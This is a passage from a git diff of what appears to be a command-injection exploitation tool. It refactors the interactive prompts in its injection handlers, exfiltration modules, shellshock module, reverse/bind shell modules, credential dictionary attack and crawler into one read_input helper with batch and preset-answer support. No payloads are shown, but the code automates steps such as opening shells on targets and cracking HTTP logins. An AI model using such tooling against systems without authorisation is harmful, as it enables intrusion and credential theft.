'" + cmd + "' command, does not return any output." print(settings.print_critical_msg(err_msg)) diff --git a/src/core/injections/semiblind/techniques/file_based/fb_injector.py b/src/core/injections/semiblind/techniques/file_based/fb_injector.py index 32f106e857..1a1a6fb5d7 100755 --- a/src/core/injections/semiblind/techniques/file_based/fb_injector.py +++ b/src/core/injections/semiblind/techniques/file_based/fb_injector.py @@ -27,6 +27,7 @@ from src.core.requests import headers from src.core.requests import requests from src.core.requests import parameters +from src.utils import common from src.core.injections.controller import checks from src.thirdparty.six.moves import urllib as _urllib from src.thirdparty.six.moves import input as _input @@ -283,13 +284,10 @@ def custom_web_root(url, OUTPUT_TEXTFILE): if settings.MULTI_TARGETS: settings.RECHECK_FILE_FOR_EXTRACTION = True while True: - if not menu.options.batch: - question_msg = "Do you want to use URL '" + output - question_msg += "' as command execution output? [Y/n] > " - procced_option = _input(settings.print_question_msg(question_msg)) - else: - procced_option = "" - if procced_option in settings.CHOICE_YES or len(procced_option) == 0: + message = "Do you want to use URL '" + output + message += "' as command execution output? [Y/n] > " + procced_option = common.read_input(message, default="Y", check_batch=True) + if procced_option in settings.CHOICE_YES: settings.DEFINED_WEBROOT = output break elif procced_option in settings.CHOICE_NO: diff --git a/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py b/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py index d0b5244353..e5948f2d9d 100755 --- a/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py +++ b/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py @@ -28,6 +28,7 @@ from src.core.requests import headers from src.core.requests import requests from src.core.requests import parameters +from src.utils import common from src.core.injections.controller import checks from src.thirdparty.six.moves import input as _input from src.thirdparty.six.moves import urllib as _urllib @@ -237,13 +238,8 @@ def tfb_injection_handler(url, timesec, filename, tmp_path, http_request_method, warn_msg += "requests. This behavior may lead to false-positive results.\n" sys.stdout.write("\r" + settings.print_warning_msg(warn_msg)) while True: - if not menu.options.batch: - question_msg = "How do you want to proceed? [(C)ontinue/(s)kip/(q)uit] > " - proceed_option = _input(settings.print_question_msg(question_msg)) - else: - proceed_option = "" - if len(proceed_option) == 0: - proceed_option = "c" + message = "How do you want to proceed? [(C)ontinue/(s)kip/(q)uit] > " + proceed_option = common.read_input(message, default="C", check_batch=True) if proceed_option.lower() in settings.CHOICE_PROCEED : if proceed_option.lower() == "s": false_positive_fixation = False @@ -464,13 +460,8 @@ def tfb_injection_handler(url, timesec, filename, tmp_path, http_request_method, # Check for any enumeration options. if settings.ENUMERATION_DONE == True : while True: - if not menu.options.batch: - question_msg = "Do you want to enumerate again? [Y/n] > " - enumerate_again = _input("\n" + settings.print_question_msg(question_msg)).lower() - else: - enumerate_again = "" - if len(enumerate_again) == 0: - enumerate_again = "Y" + message = "Do you want to enumerate again? [Y/n] > " + enumerate_again = common.read_input(message, default="Y", check_batch=True) if enumerate_again in settings.CHOICE_YES: tfb_enumeration.do_check(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response) print(settings.SINGLE_WHITESPACE) @@ -495,13 +486,8 @@ def tfb_injection_handler(url, timesec, filename, tmp_path, http_request_method, if settings.FILE_ACCESS_DONE == True : print(settings.SINGLE_WHITESPACE) while True: - if not menu.options.batch: - question_msg = "Do you want to access files again? [Y/n] > " - file_access_again = _input(settings.print_question_msg(question_msg)) - else: - file_access_again = "" - if len(file_access_again) == 0: - file_access_again = "Y" + message = "Do you want to access files again? [Y/n] > " + file_access_again = common.read_input(message, default="Y", check_batch=True) if file_access_again in settings.CHOICE_YES: tfb_file_access.do_check(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response) break @@ -542,16 +528,9 @@ def tfb_injection_handler(url, timesec, filename, tmp_path, http_request_method, while True: if go_back == True: break - if not menu.options.batch: - question_msg = "Do you want a Pseudo-Terminal shell? [Y/n] > " - gotshell = _input(settings.print_question_msg(question_msg)) - else: - gotshell = "" - if len(gotshell) == 0: - gotshell = "Y" + message = "Do you want a Pseudo-Terminal shell? [Y/n] > " + gotshell = common.read_input(message, default="Y", check_batch=True) if gotshell in settings.CHOICE_YES: - # if not menu.options.batch: - # print(settings.SINGLE_WHITESPACE) print("Pseudo-Terminal (type '" + Style.BRIGHT + "?" + Style.RESET_ALL + "' for available options)") if settings.READLINE_ERROR: checks.no_readline_module() @@ -564,7 +543,7 @@ def tfb_injection_handler(url, timesec, filename, tmp_path, http_request_method, if not settings.READLINE_ERROR: checks.tab_autocompleter() sys.stdout.write(settings.OS_SHELL) - cmd = _input() + cmd = common.read_input(message="", default=None, check_batch=True) cmd = checks.escaped_cmd(cmd) if cmd.lower() in settings.SHELL_OPTIONS: go_back, go_back_again = shell_options.check_option(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, technique, go_back, no_result, timesec, go_back_again, payload, OUTPUT_TEXTFILE="") diff --git a/src/core/main.py b/src/core/main.py index f0709d3eac..6e62ff69a6 100644 --- a/src/core/main.py +++ b/src/core/main.py @@ -578,6 +578,9 @@ def main(filename, url): if menu.options.method: settings.HTTP_METHOD = menu.options.method + if menu.options.answers: + settings.ANSWERS = menu.options.answers + # Check if defined "--proxy" option. if menu.options.proxy: for match in re.finditer(settings.PROXY_REGEX, menu.options.proxy): @@ -638,14 +641,14 @@ def main(filename, url): if menu.options.wizard: if not menu.options.url: while True: - question_msg = "Please enter full target URL (-u) > " - menu.options.url = _input(settings.print_question_msg(question_msg)) + message = "Please enter full target URL (-u) > " + menu.options.url = common.read_input(message, default=None, check_batch=True) if len(menu.options.url) == 0: pass else: break - question_msg = "Please enter POST data (--data) [Enter for none] > " - menu.options.data = _input(settings.print_question_msg(question_msg)) + message = "Please enter POST data (--data) [Enter for none] > " + menu.options.data = common.read_input(message, default=None, check_batch=True) if len(menu.options.data) == 0: menu.options.data = False @@ -833,14 +836,9 @@ def main(filename, url): for url in clean_output_href: if (settings.CRAWLING and re.search(r"(.*?)\?(.+)", url)) or settings.MULTI_TARGETS: url_num += 1 - print(settings.print_question_msg("[" + str(url_num) + "/" + str(len(clean_output_href)) + "] URL - " + url) + "") - if not menu.options.batch: - question_msg = "Do you want to use URL #" + str(url_num) + " to perform tests? [Y/n] > " - message = _input(settings.print_question_msg(question_msg)) - else: - message = "" - if len(message) == 0: - message = "Y" + print(settings.print_message("[" + str(url_num) + "/" + str(len(clean_output_href)) + "] URL - " + url) + "") + message = "Do you want to use URL #" + str(url_num) + " to perform tests? [Y/n] > " + message = common.read_input(message, default="Y", check_batch=True) if message in settings.CHOICE_YES: settings.INIT_TEST = True if url == clean_output_href[-1]: diff --git a/src/core/modules/dns_exfiltration/dns_exfiltration.py b/src/core/modules/dns_exfiltration/dns_exfiltration.py index d1266781e9..79ef2db2af 100755 --- a/src/core/modules/dns_exfiltration/dns_exfiltration.py +++ b/src/core/modules/dns_exfiltration/dns_exfiltration.py @@ -105,13 +105,8 @@ def input_cmd(dns_server, http_request_method, url, vuln_parameter, technique): while True: if go_back == True: break - if not menu.options.batch: - question_msg = "Do you want a Pseudo-Terminal shell? [Y/n] > " - gotshell = _input(settings.print_question_msg(question_msg)) - else: - gotshell = "" - if len(gotshell) == 0: - gotshell= "Y" + message = "Do you want a Pseudo-Terminal shell? [Y/n] > " + gotshell = _common.read_input(message, default="Y", check_batch=True) if gotshell in settings.CHOICE_YES: print("\nPseudo-Terminal (type '" + Style.BRIGHT + "?" + Style.RESET_ALL + "' for available options)") if settings.READLINE_ERROR: @@ -121,7 +116,7 @@ def input_cmd(dns_server, http_request_method, url, vuln_parameter, technique): if not settings.READLINE_ERROR: checks.tab_autocompleter() sys.stdout.write(settings.OS_SHELL) - cmd = _input() + cmd = common.read_input(message="", default=None, check_batch=True) cmd = checks.escaped_cmd(cmd) if cmd.lower() in settings.SHELL_OPTIONS: if cmd.lower() == "quit" or cmd.lower() == "back": diff --git a/src/core/modules/icmp_exfiltration/icmp_exfiltration.py b/src/core/modules/icmp_exfiltration/icmp_exfiltration.py index 0f7c26a942..9676b414b0 100755 --- a/src/core/modules/icmp_exfiltration/icmp_exfiltration.py +++ b/src/core/modules/icmp_exfiltration/icmp_exfiltration.py @@ -139,14 +139,9 @@ def input_cmd(http_request_method, url, vuln_parameter, ip_src, technique): go_back_again = False while True: if go_back == True: - break - if not menu.options.batch: - question_msg = "Do you want a Pseudo-Terminal shell? [Y/n] > " - gotshell = _input(settings.print_question_msg(question_msg)) - else: - gotshell = "" - if len(gotshell) == 0: - gotshell= "Y" + break + message = "Do you want a Pseudo-Terminal shell? [Y/n] > " + gotshell = _common.read_input(message, default="Y", check_batch=True) if gotshell in settings.CHOICE_YES: print("\nPseudo-Terminal (type '" + Style.BRIGHT + "?" + Style.RESET_ALL + "' for available options)") if settings.READLINE_ERROR: @@ -156,7 +151,7 @@ def input_cmd(http_request_method, url, vuln_parameter, ip_src, technique): if not settings.READLINE_ERROR: checks.tab_autocompleter() sys.stdout.write(settings.OS_SHELL) - cmd = _input() + cmd = common.read_input(message="", default=None, check_batch=True) cmd = checks.escaped_cmd(cmd) if cmd.lower() in settings.SHELL_OPTIONS: if cmd.lower() == "quit" or cmd.lower() == "back": diff --git a/src/core/modules/shellshock/shellshock.py b/src/core/modules/shellshock/shellshock.py index cb9a1918f6..3a36712620 100755 --- a/src/core/modules/shellshock/shellshock.py +++ b/src/core/modules/shellshock/shellshock.py @@ -8,6 +8,7 @@ from src.thirdparty.six.moves import urllib as _urllib from src.thirdparty.six.moves import input as _input from src.thirdparty.six.moves import http_client as _http_client +from src.utils import common from src.utils import menu from src.utils import logs from src.utils import settings @@ -708,14 +709,8 @@ def shellshock_handler(url, http_request_method, filename): if settings.VERBOSITY_LEVEL != 0: print(settings.SINGLE_WHITESPACE) while True: - if not menu.options.batch: - question_msg = "Do you want to enumerate again? [Y/n] > " - enumerate_again = _input(settings.print_question_msg(question_msg)) - - else: - enumerate_again = "" - if len(enumerate_again) == 0: - enumerate_again = "Y" + message = "Do you want to enumerate again? [Y/n] > " + enumerate_again = common.read_input(message, default="Y", check_batch=True) if enumerate_again in settings.CHOICE_YES: enumeration(url, cve, check_header, filename) break @@ -733,13 +728,8 @@ def shellshock_handler(url, http_request_method, filename): # File access options. if settings.FILE_ACCESS_DONE == True : while True: - if not menu.options.batch: - question_msg = "Do you want to access files again? [Y/n] > " - file_access_again = _input(settings.print_question_msg(question_msg)) - else: - file_access_again= "" - if len(file_access_again) == 0: - file_access_again = "Y" + message = "Do you want to access files again? [Y/n] > " + file_access_again = common.read_input(message, default="Y", check_batch=True) if file_access_again in settings.CHOICE_YES: file_access(url, cve, check_header, filename) break @@ -770,16 +760,9 @@ def shellshock_handler(url, http_request_method, filename): while True: if go_back == True: break - if not menu.options.batch: - question_msg = "Do you want a Pseudo-Terminal shell? [Y/n] > " - gotshell = _input(settings.print_question_msg(question_msg)) - else: - gotshell= "" - if len(gotshell) == 0: - gotshell= "Y" + message = "Do you want a Pseudo-Terminal shell? [Y/n] > " + gotshell = common.read_input(message, default="Y", check_batch=True) if gotshell in settings.CHOICE_YES: - # if not menu.options.batch: - # print(settings.SINGLE_WHITESPACE) print("Pseudo-Terminal (type '" + Style.BRIGHT + "?" + Style.RESET_ALL + "' for available options)") if settings.READLINE_ERROR: checks.no_readline_module() @@ -788,7 +771,7 @@ def shellshock_handler(url, http_request_method, filename): if not settings.READLINE_ERROR: checks.tab_autocompleter() sys.stdout.write(settings.OS_SHELL) - cmd = _input() + cmd = common.read_input(message="", default=None, check_batch=True) cmd = checks.escaped_cmd(cmd) if cmd.lower() in settings.SHELL_OPTIONS: diff --git a/src/core/requests/authentication.py b/src/core/requests/authentication.py index b4dc01446d..21af364768 100644 --- a/src/core/requests/authentication.py +++ b/src/core/requests/authentication.py @@ -23,6 +23,7 @@ from src.core.requests import tor from src.core.requests import proxy from src.core.requests import headers +from src.utils import common from src.core.injections.controller import checks from src.thirdparty.six.moves import input as _input from src.thirdparty.colorama import Fore, Back, Style, init @@ -79,13 +80,8 @@ def authentication_process(): def define_wordlists(): while True: - if not menu.options.batch: - question_msg = "Do you want to use default wordlists for dictionary-based attack? [Y/n] > " - do_update = _input(settings.print_question_msg(question_msg)) - else: - do_update = "" - if len(do_update) == 0: - do_update = "Y" + message = "Do you want to use default wordlists for dictionary-based attack? [Y/n] > " + do_update = common.read_input(message, default="Y", check_batch=True) if do_update in settings.CHOICE_YES: username_txt_file = settings.USERNAMES_TXT_FILE passwords_txt_file = settings.PASSWORDS_TXT_FILE @@ -93,10 +89,10 @@ def define_wordlists(): print(settings.print_info_msg(info_msg)) break elif do_update in settings.CHOICE_NO: - question_msg = "Please enter usernames wordlist > " - username_txt_file = _input(settings.print_question_msg(question_msg)) - question_msg = "Please enter passwords wordlist > " - passwords_txt_file = _input(settings.print_question_msg(question_msg)) + message = "Please enter usernames wordlist > " + username_txt_file = common.read_input(message, default=None, check_batch=True) + message = "Please enter passwords wordlist > " + passwords_txt_file = common.read_input(message, default=None, check_batch=True) break elif do_update in settings.CHOICE_QUIT: raise SystemExit() diff --git a/src/core/requests/redirection.py b/src/core/requests/redirection.py index 5dbf50cb21..dd3168a840 100755 --- a/src/core/requests/redirection.py +++ b/src/core/requests/redirection.py @@ -23,6 +23,7 @@ from base64 import encodestring as encodebytes from src.utils import menu from src.utils import settings +from src.utils import common from socket import error as SocketError from src.thirdparty.six.moves import http_client as _http_client from src.core.injections.controller import checks @@ -65,17 +66,15 @@ def redirect_request(self, request, fp, code, msg, headers, newurl): return response.geturl() else: while True: - if not menu.options.batch and not settings.FOLLOW_REDIRECT: + if not settings.FOLLOW_REDIRECT: if settings.CRAWLED_URLS_NUM != 0 and settings.CRAWLED_SKIPPED_URLS_NUM != 0: print(settings.SINGLE_WHITESPACE) - question_msg = "Got a " + str(settings.REDIRECT_CODE) + " redirect to " + response.geturl() + "\n" - question_msg += "Do you want to follow the identified redirection? [Y/n] > " - redirection_option = _input(settings.print_question_msg(question_msg)) - else: - redirection_option = "" - if len(redirection_option) == 0 or redirection_option in settings.CHOICE_YES: + message = "Got a " + str(settings.REDIRECT_CODE) + " redirect to " + response.geturl() + "\n" + message += "Do you want to follow the identified redirection? [Y/n] > " + redirection_option = common.read_input(message, default="Y", check_batch=True) + if redirection_option in settings.CHOICE_YES: settings.FOLLOW_REDIRECT = True - if menu.options.batch and not settings.CRAWLING: + if not settings.CRAWLING: info_msg = "Following redirection to '" + response.geturl() + "'. " print(settings.print_info_msg(info_msg)) return checks.check_http_s(response.geturl()) diff --git a/src/core/requests/requests.py b/src/core/requests/requests.py index 24399f0288..b47ce27261 100755 --- a/src/core/requests/requests.py +++ b/src/core/requests/requests.py @@ -24,6 +24,7 @@ from src.thirdparty.six.moves import http_client as _http_client # accept overly long result lines _http_client._MAXLINE = 1 * 1024 * 1024 +from src.utils import common from src.core.requests import tor from src.core.requests import proxy from src.core.requests import headers @@ -126,13 +127,8 @@ def estimate_response_time(url, timesec): warn_msg += "HTTP authentication credentials are required." print(settings.print_warning_msg(warn_msg)) while True: - if not menu.options.batch: - question_msg = "Do you want to perform a dictionary-based attack? [Y/n] > " - do_update = _input(settings.print_question_msg(question_msg)) - else: - do_update = "" - if len(do_update) == 0: - do_update = "Y" + message = "Do you want to perform a dictionary-based attack? [Y/n] > " + do_update = common.read_input(message, default="Y", check_batch=True) if do_update in settings.CHOICE_YES: auth_creds = authentication.http_auth_cracker(url, realm) if auth_creds != False: @@ -161,13 +157,8 @@ def estimate_response_time(url, timesec): warn_msg = "Heuristics have failed to identify the realm attribute." print(settings.print_warning_msg(warn_msg)) while True: - if not menu.options.batch: - question_msg = "Do you want to perform a dictionary-based attack? [Y/n] > " - do_update = _input(settings.print_question_msg(question_msg)) - else: - do_update = "" - if len(do_update) == 0: - do_update = "Y" + message = "Do you want to perform a dictionary-based attack? [Y/n] > " + do_update = common.read_input(message, default="Y", check_batch=True) if do_update in settings.CHOICE_YES: auth_creds = authentication.http_auth_cracker(url, realm) if auth_creds != False: @@ -1207,8 +1198,7 @@ def check_target_os(server_banner): print(settings.print_warning_msg(warn_msg)) if found_os_server == False and not menu.options.os: - # If "--shellshock" option is provided then, - # by default is a Linux/Unix operating system. + # If "--shellshock" option is provided then, by default is a Linux/Unix operating system. if menu.options.shellshock: pass else: @@ -1225,9 +1215,9 @@ def check_target_os(server_banner): print(settings.print_info_msg(info_msg)) else: while True: - question_msg = "Do you recognise the server's operating system? " - question_msg += "[(W)indows/(U)nix-like/(q)uit] > " - got_os = _input(settings.print_question_msg(question_msg)) + message = "Do you recognise the server's operating system? " + message += "[(W)indows/(U)nix-like/(q)uit] > " + got_os = common.read_input(message, default="", check_batch=True) if got_os.lower() in settings.CHOICE_OS : if got_os.lower() == "w": settings.TARGET_OS = "win" diff --git a/src/core/shells/bind_tcp.py b/src/core/shells/bind_tcp.py index 30b635ecc7..a7794af825 100755 --- a/src/core/shells/bind_tcp.py +++ b/src/core/shells/bind_tcp.py @@ -20,6 +20,7 @@ import base64 import subprocess from src.utils import menu +from src.utils import common from src.utils import settings from src.thirdparty.six.moves import input as _input from src.thirdparty.colorama import Fore, Back, Style, init @@ -79,20 +80,15 @@ def msf_launch_msg(output): """ def set_php_working_dir(): while True: - if not menu.options.batch: - question_msg = "Do you want to use '" + settings.WIN_PHP_DIR - question_msg += "' as PHP working directory on the target host? [Y/n] > " - php_dir = _input(settings.print_question_msg(question_msg)) - else: - php_dir = "" - if len(php_dir) == 0: - php_dir = "Y" + message = "Do you want to use '" + settings.WIN_PHP_DIR + message += "' as PHP working directory on the target host? [Y/n] > " + php_dir = common.read_input(message, default="Y", check_batch=True) if php_dir in settings.CHOICE_YES: break elif php_dir in settings.CHOICE_NO: - question_msg = "Please provide a full path directory for Python interpreter (e.g. '" - question_msg += settings.WIN_PYTHON_INTERPRETER + "') or 'python'> " - settings.WIN_PHP_DIR = _input(settings.print_question_msg(question_msg)) + message = "Please provide a full path directory for Python interpreter (e.g. '" + message += settings.WIN_PYTHON_INTERPRETER + "') or 'python'> " + settings.WIN_PHP_DIR = common.read_input(message, default=None, check_batch=True) settings.USER_DEFINED_PHP_DIR = True break else: @@ -105,20 +101,15 @@ def set_php_working_dir(): """ def set_python_working_dir(): while True: - if not menu.options.batch: - question_msg = "Do you want to use '" + settings.WIN_PYTHON_INTERPRETER - question_msg += "' as Python interpreter on the target host? [Y/n] > " - python_dir = _input(settings.print_question_msg(question_msg)) - else: - python_dir = "" - if len(python_dir) == 0: - python_dir = "Y" + message = "Do you want to use '" + settings.WIN_PYTHON_INTERPRETER + message += "' as Python interpreter on the target host? [Y/n] > " + python_dir = common.read_input(message, default="Y", check_batch=True) if python_dir in settings.CHOICE_YES: break elif python_dir in settings.CHOICE_NO: - question_msg = "Please provide a full path directory for Python interpreter (e.g. '" - question_msg += "C:\\Python27\\python.exe') > " - settings.WIN_PYTHON_INTERPRETER = _input(settings.print_question_msg(question_msg)) + message = "Please provide a full path directory for Python interpreter (e.g. '" + message += "C:\\Python27\\python.exe') > " + settings.WIN_PYTHON_INTERPRETER = common.read_input(message, default=None, check_batch=True) settings.USER_DEFINED_PYTHON_DIR = True break else: @@ -131,20 +122,15 @@ def set_python_working_dir(): """ def set_python_interpreter(): while True: - if not menu.options.batch: - question_msg = "Do you want to use '" + settings.LINUX_PYTHON_INTERPRETER - question_msg += "' as Python interpreter on the target host? [Y/n] > " - python_interpreter = _input(settings.print_question_msg(question_msg)) - else: - python_interpreter = "" - if len(python_interpreter) == 0: - python_interpreter = "Y" + message = "Do you want to use '" + settings.LINUX_PYTHON_INTERPRETER + message += "' as Python interpreter on the target host? [Y/n] > " + python_interpreter = common.read_input(message, default="Y", check_batch=True) if python_interpreter in settings.CHOICE_YES: break elif python_interpreter in settings.CHOICE_NO: - question_msg = "Please provide a custom interpreter for Python (e.g. '" - question_msg += "python27') > " - settings.LINUX_PYTHON_INTERPRETER = _input(settings.print_question_msg(question_msg)) + message = "Please provide a custom interpreter for Python (e.g. '" + message += "python27') > " + settings.LINUX_PYTHON_INTERPRETER = common.read_input(message, default=None, check_batch=True) settings.USER_DEFINED_PYTHON_INTERPRETER = True break else: @@ -227,13 +213,8 @@ def netcat_version(separator): continue while True: - if not menu.options.batch: - question_msg = "Do you want to use '/bin' standard subdirectory? [y/N] > " - enable_bin_dir = _input(settings.print_question_msg(question_msg)) - else: - enable_bin_dir = "" - if len(enable_bin_dir) == 0: - enable_bin_dir = "n" + message = "Do you want to use '/bin' standard subdirectory? [y/N] > " + enable_bin_dir = common.read_input(message, default="N", check_batch=True) if enable_bin_dir in settings.CHOICE_NO: break elif enable_bin_dir in settings.CHOICE_YES : diff --git a/src/core/shells/reverse_tcp.py b/src/core/shells/reverse_tcp.py index 1384ce8579..208407b0a3 100755 --- a/src/core/shells/reverse_tcp.py +++ b/src/core/shells/reverse_tcp.py @@ -21,6 +21,7 @@ import random import string import subprocess +from src.utils import common from src.utils import menu from src.utils import update from src.utils import settings @@ -94,20 +95,15 @@ def msf_launch_msg(output): """ def set_php_working_dir(): while True: - if not menu.options.batch: - question_msg = "Do you want to use '" + settings.WIN_PHP_DIR - question_msg += "' as PHP working directory on the target host? [Y/n] > " - php_dir = _input(settings.print_question_msg(question_msg)) - else: - php_dir = "" - if len(php_dir) == 0: - php_dir = "Y" + message = "Do you want to use '" + settings.WIN_PHP_DIR + message += "' as PHP working directory on the target host? [Y/n] > " + php_dir = common.read_input(message, default="Y", check_batch=True) if php_dir in settings.CHOICE_YES: break elif php_dir in settings.CHOICE_NO: - question_msg = "Please provide a custom working directory for PHP (e.g. '" - question_msg += settings.WIN_PHP_DIR + "') > " - settings.WIN_PHP_DIR = _input(settings.print_question_msg(question_msg)) + message = "Please provide a custom working directory for PHP (e.g. '" + message += settings.WIN_PHP_DIR + "') > " + settings.WIN_PHP_DIR = common.read_input(message, default=None, check_batch=True) settings.USER_DEFINED_PHP_DIR = True break else: @@ -120,20 +116,15 @@ def set_php_working_dir(): """ def set_python_working_dir(): while True: - if not menu.options.batch: - question_msg = "Do you want to use '" + settings.WIN_PYTHON_INTERPRETER - question_msg += "' as Python interpreter on the target host? [Y/n] > " - python_dir = _input(settings.print_question_msg(question_msg)) - else: - python_dir = "" - if len(python_dir) == 0: - python_dir = "Y" + message = "Do you want to use '" + settings.WIN_PYTHON_INTERPRETER + message += "' as Python interpreter on the target host? [Y/n] > " + python_dir = common.read_input(message, default="Y", check_batch=True) if python_dir in settings.CHOICE_YES: break elif python_dir in settings.CHOICE_NO: - question_msg = "Please provide a full path directory for Python interpreter (e.g. '" - question_msg += "C:\\Python27\\python.exe') > " - settings.WIN_PYTHON_INTERPRETER = _input(settings.print_question_msg(question_msg)) + message = "Please provide a full path directory for Python interpreter (e.g. '" + message += "C:\\Python27\\python.exe') > " + settings.WIN_PYTHON_INTERPRETER = common.read_input(message, default=None, check_batch=True) settings.USER_DEFINED_PYTHON_DIR = True break else: @@ -146,20 +137,15 @@ def set_python_working_dir(): """ def set_python_interpreter(): while True: - if not menu.options.batch: - question_msg = "Do you want to use '" + settings.LINUX_PYTHON_INTERPRETER - question_msg += "' as Python interpreter on the target host? [Y/n] > " - python_interpreter = _input(settings.print_question_msg(question_msg)) - else: - python_interpreter = "" - if len(python_interpreter) == 0: - python_interpreter = "Y" + message = "Do you want to use '" + settings.LINUX_PYTHON_INTERPRETER + message += "' as Python interpreter on the target host? [Y/n] > " + python_interpreter = common.read_input(message, default="Y", check_batch=True) if python_interpreter in settings.CHOICE_YES: break elif python_interpreter in settings.CHOICE_NO: - question_msg = "Please provide a custom working interpreter for Python (e.g. '" - question_msg += "python27') > " - settings.LINUX_PYTHON_INTERPRETER = _input(settings.print_question_msg(question_msg)) + message = "Please provide a custom working interpreter for Python (e.g. '" + message += "python27') > " + settings.LINUX_PYTHON_INTERPRETER = common.read_input(message, default=None, check_batch=True) settings.USER_DEFINED_PYTHON_INTERPRETER = True break else: @@ -263,13 +249,8 @@ def netcat_version(separator): continue while True: - if not menu.options.batch: - question_msg = "Do you want to use '/bin' standard subdirectory? [y/N] > " - enable_bin_dir = _input(settings.print_question_msg(question_msg)) - else: - enable_bin_dir = "" - if len(enable_bin_dir) == 0: - enable_bin_dir = "n" + message = "Do you want to use '/bin' standard subdirectory? [y/N] > " + enable_bin_dir = common.read_input(message, default="N", check_batch=True) if enable_bin_dir in settings.CHOICE_NO: break elif enable_bin_dir in settings.CHOICE_YES : diff --git a/src/utils/common.py b/src/utils/common.py index da159bd01a..78a70cf5ad 100644 --- a/src/utils/common.py +++ b/src/utils/common.py @@ -27,7 +27,58 @@ from src.thirdparty.six.moves import input as _input from src.thirdparty.six.moves import urllib as _urllib - +""" +Reads input from terminal +""" +def read_input(message, default=None, check_batch=True): + + def is_empty(): + value = _input(settings.print_message(message)) + if len(value) == 0: + return default + else: + return value + + value = None + if "\n" in message: + message += ("\n" if message.count("\n") > 1 else "") + elif len(message) == 0: + return _input() + + if settings.ANSWERS: + if not any(_ in settings.ANSWERS for _ in ",="): + return is_empty() + else: + for item in settings.ANSWERS.split(','): + question = item.split('=')[0].strip() + answer = item.split('=')[1] if len(item.split('=')) > 1 else None + if answer and question.lower() in message.lower(): + value = answer + print(settings.print_message(message + value)) + return value + elif answer is None and value: + return is_empty() + + if value: + if settings.VERBOSITY_LEVEL != 0: + debug_msg = "Used the given answer." + print(settings.print_debug_msg(debug_msg)) + print(settings.print_message(message + value)) + return value + + elif value is None: + if check_batch and menu.options.batch: + if settings.VERBOSITY_LEVEL != 0: + debug_msg = "Used the default behavior, running in batch mode." + print(settings.print_debug_msg(debug_msg)) + print(settings.print_message(message + default)) + return default + else: + return is_empty() + +""" +Extract regex result +""" def extract_regex_result(regex, content): result = None if regex and content and "?P" in regex: @@ -87,15 +138,10 @@ def create_github_issue(err_msg, exc_msg): while True: try: - if not menu.options.batch: - question_msg = "Do you want to automatically create a new (anonymized) issue " - question_msg += "with the unhandled exception information at " - question_msg += "the official Github repository? [y/N] " - choise = _input(settings.print_question_msg(question_msg)) - else: - choise = "" - if len(choise) == 0: - choise = "n" + message = "Do you want to automatically create a new (anonymized) issue " + message += "with the unhandled exception information at " + message += "the official Github repository? [y/N] " + choise = common.read_input(message, default="N", check_batch=True) if choise in settings.CHOICE_YES: break elif choise in settings.CHOICE_NO: diff --git a/src/utils/crawler.py b/src/utils/crawler.py index 470d8e704d..d657097332 100644 --- a/src/utils/crawler.py +++ b/src/utils/crawler.py @@ -18,7 +18,7 @@ import tempfile from src.utils import menu from src.utils import settings -from src.utils.common import extract_regex_result +from src.utils import common from src.core.injections.controller import checks from src.core.requests import headers from socket import error as SocketError @@ -45,13 +45,8 @@ def init_global_vars(): """ def set_crawling_depth(): while True: - if not menu.options.batch: - question_msg = "Do you want to change the crawling depth level (" + str(menu.options.crawldepth) + ")? [y/N] > " - message = _input(settings.print_question_msg(question_msg)) - else: - message = "" - if len(message) == 0: - message = "N" + message = "Do you want to change the crawling depth level (" + str(menu.options.crawldepth) + ")? [y/N] > " + message = common.read_input(message, default="N", check_batch=True) if message in settings.CHOICE_YES or message in settings.CHOICE_NO: break elif message in settings.CHOICE_QUIT: @@ -64,12 +59,9 @@ def set_crawling_depth(): # Change the crawling depth level. if message in settings.CHOICE_YES: while True: - question_msg = "Please enter the crawling depth level: > " - message = _input(settings.print_question_msg(question_msg)) - if len(message) == 0: - message = 1 - else: - menu.options.crawldepth = message + message = "Please enter the crawling depth level: > " + message = common.read_input(message, default="1", check_batch=True) + menu.options.crawldepth = message return @@ -79,13 +71,8 @@ def set_crawling_depth(): def normalize_results(output_href): results = [] while True: - if not menu.options.batch: - question_msg = "Do you want to normalize crawling results? [Y/n] > " - message = _input(settings.print_question_msg(question_msg)) - else: - message = "" - if len(message) == 0: - message = "Y" + message = "Do you want to normalize crawling results? [Y/n] > " + message = common.read_input(message, default="Y", check_batch=True) if message in settings.CHOICE_YES: seen = set() for target in output_href: @@ -112,14 +99,9 @@ def normalize_results(output_href): """ def store_crawling(output_href): while True: - if not menu.options.batch: - question_msg = "Do you want to store crawling results to a temporary file " - question_msg += "(for eventual further processing with other tools)? [y/N] > " - message = _input(settings.print_question_msg(question_msg)) - else: - message = "" - if len(message) == 0: - message = "n" + message = "Do you want to store crawling results to a temporary file " + message += "(for eventual further processing with other tools)? [y/N] > " + message = common.read_input(message, default="N", check_batch=True) if message in settings.CHOICE_YES: filename = tempfile.mkstemp(suffix=".txt")[1] info_msg = "Writing crawling results to a temporary file '" + str(filename) + "'." @@ -158,13 +140,8 @@ def sitemap(url): while True: warn_msg = "A sitemap recursion detected (" + url + ")." print(settings.print_warning_msg(warn_msg)) - if not menu.options.batch: - question_msg = "Do you want to follow? [Y/n] > " - message = _input(settings.print_question_msg(question_msg)) - else: - message = "" - if len(message) == 0: - message = "Y" + message = "Do you want to follow? [Y/n] > " + message = common.read_input(message, default="Y", check_batch=True) if message in settings.CHOICE_YES: sitemap(url) break @@ -234,13 +211,8 @@ def enable_crawler(): message = "" if not settings.CRAWLING: while True: - if not menu.options.batch: - question_msg = "Do you want to enable crawler? [y/N] > " - message = _input(settings.print_question_msg(question_msg)) - else: - message = "" - if len(message) == 0: - message = "N" + message = "Do you want to enable crawler? [y/N] > " + message = common.read_input(message, default="N", check_batch=True) if message in settings.CHOICE_YES: menu.options.crawldepth = 1 break @@ -259,14 +231,9 @@ def enable_crawler(): """ def check_sitemap(): while True: - if not menu.options.batch: - question_msg = "Do you want to check target"+ ('', 's')[settings.MULTI_TARGETS] + " for " - question_msg += "the existence of site's 